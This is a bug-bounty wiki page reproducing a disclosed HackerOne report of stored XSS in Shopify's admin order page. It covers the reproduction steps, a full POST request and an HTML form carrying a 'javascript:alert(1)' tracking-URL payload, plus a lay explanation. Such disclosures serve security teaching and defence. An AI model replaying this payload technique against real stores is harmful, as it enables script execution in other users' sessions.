Skip to content
XSS Disclosed report Intermediate

Stored XSS in /admin/orders

A fulfillment's tracking URL field accepted a javascript: scheme value, which was stored and later rendered as a clickable link on the order page. An attacker with admin access to a store could store such a link and have it execute script in the browser of anyone who clicks the tracking number.

Mahmoud Gamal Follow

Originally disclosed on HackerOne

  • Triaged in 18 days
  • Fixed in 40 days
  • Paid in 53 days
  • Disclosed after 53 days

Hi , I have found a Stored XSS vulnerability in orders page. #Steps to reproduce:

  1. Create a new order with an item that requires shipping
  2. Go to https://<store>.myshopify.com/admin/orders/<order_id>
  3. Click the Fulfill items button then fulfill the items
  4. Now a new fulfillment with an id will be generated , get the id of the fulfillment and send the following post request:
POST https://<your-store>.myshopify.com/admin/orders/<order-id>/fulfillments/<fulfillment-id>
Accept:text/html, application/xhtml+xml, application/xml
Accept-Encoding:gzip, deflate
Accept-Language:en-US,en;q=0.8
Connection:keep-alive
Content-Length:380
Content-Type:application/x-www-form-urlencoded; charset=UTF-8
Cookie: <cookies>
X-CSRF Token: <YOUR_TOKEN>
X-Requested-With:XMLHttpRequest
....

utf8=%E2%9C%93&_method=put&authenticity_token=<CSRF_TOKEN>&fulfillment%5Btracking_numbers%5D%5B%5D=TrackingNumber&fulfillment%5Btracking_urls%5D%5B%5D=javascript%3Aalert(1)%3B%2F%2F&fulfillment%5Btracking_company%5D=Other&fulfillment%5Bnotify_customer%5D=false&fulfillment%5Bnotify_customer%5D=true

5.- The fulfillment will be updated , go to the order page then scroll down and click on Successfully processed a payment then click the link that says TrackingNumber and XSS will trigger.

#Example Form (in case you are having trouble sending the request):

HTML
<form action="/admin/orders/1917753154/fulfillments/1542021826" accept-charset="UTF-8" method="post">
<input name="utf8" type="hidden" value="✓">
<input type="hidden" name="_method" value="put">
<input type="hidden" name="authenticity_token" value="<CSRF_TOKEN>">
<input name="fulfillment[tracking_urls][]" value="javascript:alert(1);//">
<input type="text" name="fulfillment[tracking_numbers][]" value="TrackingNumber">
<input name="fulfillment[tracking_company]" value="other">
<input type="hidden" name="fulfillment[notify_customer]"  value="true">
 <input type="submit">                    
</form>

Thanks

The original report as published on HackerOne, by zombiehelp54. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the tracking URL was stored without validating its scheme and later placed directly into an anchor's href, so a javascript: URL executed on click.

What the attacker needed

Admin access to the store; victim clicks the tracking link

How it was found

  1. Create an order containing an item that needs shipping.
  2. Open the order in the admin area and fulfil its items.
  3. Note the fulfilment id that is generated.
  4. Send a POST request to the fulfilment endpoint that sets the tracking URL to a javascript: value.
  5. Open the order page, expand the payment event and click the tracking number link to trigger the script.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page can show a link whose address starts with 'javascript:' instead of 'http'. Clicking such a link runs a small program in the visitor's browser rather than opening a page. Here the shop's order screen saved a tracking link without checking its address, so a malicious link could be planted and run when someone clicked it.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Mahmoud Gamal

View all

32 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.